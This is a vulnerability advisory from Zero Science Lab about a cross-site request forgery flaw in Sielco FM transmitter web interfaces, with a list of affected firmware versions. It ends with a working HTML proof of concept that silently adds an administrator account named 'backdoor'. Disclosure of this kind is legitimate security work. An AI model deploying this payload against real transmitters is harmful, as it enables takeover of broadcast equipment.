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Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)
Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: lwIP/2.1.1
Web/3.0.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5757
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5757.php
26.01.2023
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CSRF Add Admin:
---------------
<html>
<body>
<form action="http://transmitter/protect/users.htm" method="POST">
<input type="hidden" name="pwd0" value="" />
<input type="hidden" name="pwd0bis" value="" />
<input type="hidden" name="user1" value="" />
<input type="hidden" name="pwd1" value="" />
<input type="hidden" name="pwd1bis" value="" />
<input type="hidden" name="auth1" value="" />
<input type="hidden" name="user2" value="" />
<input type="hidden" name="pwd2" value="" />
<input type="hidden" name="pwd2bis" value="" />
<input type="hidden" name="auth2" value="" />
<input type="hidden" name="user3" value="backdoor" />
<input type="hidden" name="pwd3" value="backdoor123" />
<input type="hidden" name="pwd3bis" value="backdoor123" />
<input type="hidden" name="auth3" value="2" />
<input type="submit" value="Adminize!" />
</form>
</body>
</html>Zero Science Lab » Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery
Македонска лабораторија за истражување и развој на информациска безбедност
www.zeroscience.mk
